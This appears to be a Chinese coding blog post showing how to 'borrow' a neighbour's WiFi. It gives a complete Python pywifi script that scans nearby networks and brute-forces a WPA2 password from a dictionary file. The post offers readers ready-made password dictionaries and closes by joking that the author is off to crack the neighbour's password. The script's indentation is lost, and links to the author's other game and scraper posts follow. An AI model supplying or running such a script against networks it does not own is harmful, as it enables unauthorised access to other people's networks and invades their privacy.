Hello,大家好呀!我是木木子吖~
一个集美貌幽默风趣善良可爱并努力码代码的程序媛一枚。
听说关注我的人会一夜暴富发大财哦~
(哇哇哇 这真的爱)
所有文章完整的素材+源码都在
粉丝白嫖源码福利,请移步至CSDN社区或文末公众hao即可免费。
无中生友——
言归正传,为啥会写这篇文章呢?
近日,有朋友向我求助一件小事儿:其实朋友是刷视频刷多了,流量都快用完了,而他自己住
的地方又没有拉网。如今这社会,不能上网那可真是难受啊,不想拉网又不想搞流量加油包,
免费的网不香吗?自从发现隔壁有WiFi!!!就一直想蹭一下他们的WiFi,可他又不认识他
们,那咋搞呢?于是就打起了我的主意
想让我帮忙给他写一个WIFI破解的小脚本,从此就再也不怕网贫了。
心中突然来了个小心思,网上搜索一番,有了这篇文章!
但因为这个事儿,勾起了我另一个念头,因为之前一直都写的pygame等其他方面的编程知
识,又因为词(不知道写啥了)穷了,这不一拍即合,准备把python爬虫方面的知识梳理梳
理一下,干脆借机行事,来写一个爬虫的系列,中间用到什么知识就理一理。(虽然理了,但
是我文章想到啥写啥,估计整理不明白了)
我喜欢把事情说得很直白,如果恰好有初入门的朋友想了解爬虫的技术,可以将就看看,或许
对你的认识会有提升。如果有高手路过,最好能指点一二,学习我们是认真的!
那要如何实现蹭WiFi的梦想呢?我可以告诉你,可以用Python来蹭隔壁WiFi。pywifi提供了一
个跨平台的Python模块,用于操作无线接口,支持Windows和Linux。
官方网址:https://pypi.org/project/pywifi/。
运行的幻境:Python3、pycharm版本都可以。使用前需要先通过pip install pywifi安装这个
模块,安装好了就可以import pywifi使用此模块。
模块安装:pip install -i https://pypi.douban.com/simple/+模块名 速度更快镜像源
但是运行的时候可能会报错,提示comtypes无法找到,此时需要通过pip install comtypes安
装comtypes模块。
同时,pywifi破解密码需要准备好密码本,可以自己建一个密码本也可以直接下载已建好的密
码本。当然,肯定是使用已建好的密码本啦。我这搜集了两个超级密码本,可以直接找我拿就
行!
首先需要声明下,pywifi破解密码是一种暴力破解的方式,其实现原理就是通过操纵网卡,遍
历密码本上的密码,一个一个地试,直到密码正确从而连接上对应的WiFi ,所以pywifi只能用
来练练手,同时因为其破解速度太慢,实际使用价值不大。
一切准备就绪,那就开始实现梦想吧!基本的实现代码如下:
import time
import pywifi
from pywifi import const
class Wifi:
def __init__(self):
self.wifi = pywifi.PyWiFi() # 创建WiFi对象
self.wifi_interfaces = self.wifi.interfaces()[0] # 获取第一个无线网卡接口,使用索引0来获得Wi-Fi接口
self.profile = pywifi.profile.Profile() # 创建WiFi连接文件
def get_wifi_list(self):
self.wifi_interfaces.scan() # 扫描附近WiFi
time.sleep(5)
results = self.wifi_interfaces.scan_results() # 等待5s后获取扫描结果
for index, wifi_infos in enumerate(results): # 打印WiFi信息或自定义其他事情
print(index, wifi_infos.bssid, wifi_infos.ssid, wifi_infos.signal)
def connect(self, wifi_ssid, password):
self.profile.ssid = wifi_ssid # WiFi名称
self.profile.auth = const.AUTH_ALG_OPEN # WiFi的认证算法,开放网卡
self.profile.akm.append(const.AKM_TYPE_WPA2PSK) # WiFi的加密类型
self.profile.cipher = const.CIPHER_TYPE_CCMP # WiFi的密码类型
self.profile.key = password # WiFi密码
self.wifi_interfaces.remove_all_network_profiles() # 删除所有WiFi配置文件
tmp_profile = self.wifi_interfaces.add_network_profile(self.profile) # 加载新的配置文件
self.wifi_interfaces.connect(tmp_profile) # 根据新的配置文件连接WiFi
time.sleep(2)
if self.wifi_interfaces.status() == const.IFACE_CONNECTED: # 判断连接状态
print(password, ": the password is ok.")
return True
else:
print(password, ": the password is not ok!!!")
time.sleep(1)
self.wifi_interfaces.disconnect()
def get_wifi_password(self, wifi_ssid, passward_txt):
with open(passward_txt, "r", encoding="utf-8") as f:
for line in f:
wifi_pwd = line.strip("\n")
is_connect = self.connect(wifi_ssid, wifi_pwd)
if is_connect:
print("The right password is ", wifi_pwd)
return wifi_pwd
def main():
pwd_txt = "你的密码本路径"
wifi = Wifi()
wifi.get_wifi_list()
wifi.get_wifi_password("你想要蹭的WiFi热点名称", pwd_txt)
if __name__ == "__main__":
main()
因为暴力破解花费时间比较长,为了方便测试实际效果,我自己创建了一个简单的密码本,直
接使用手机热点进行测试,效果图如下:
密码本密码本不要忘记哈!记得找我拿哦~
嘿嘿,再也不用担心没流量用了,今天的代码就分享到这里——好了不说了,我去破解邻居家
密码去了~
项目1.0 爬虫+数据分析实战:全球疫情最新消息、淘宝爬虫、秒杀脚本
【Python合集系列】爬虫有什么用,网友纷纷给出自己的答案,王老师,我..我想学那个..爬虫。可以嘛?“(代码免费分享)
项目1.0 超级玛丽
程序员自制游戏:超级玛丽100%真实版,能把你玩哭了~【附源码】
项目1.1 扫雷
Pygame实战:据说这是史上最难扫雷游戏,没有之一,你们感受下......
项目1.6 植物大战僵尸
Pygame实战:据说—这是一款还原度超高的植物大战僵尸游戏,你感受下......
项目1.7 炸弹人游戏
Pygame实战:传承四十年的封神之作—炸弹人学院游戏【附源码】
汇总合集 Python—2022 |已有文章汇总 | 持续更新,直接看这篇就够了
(更多内容+源码都在✨文章汇总哦!!欢迎阅读喜欢的文章~)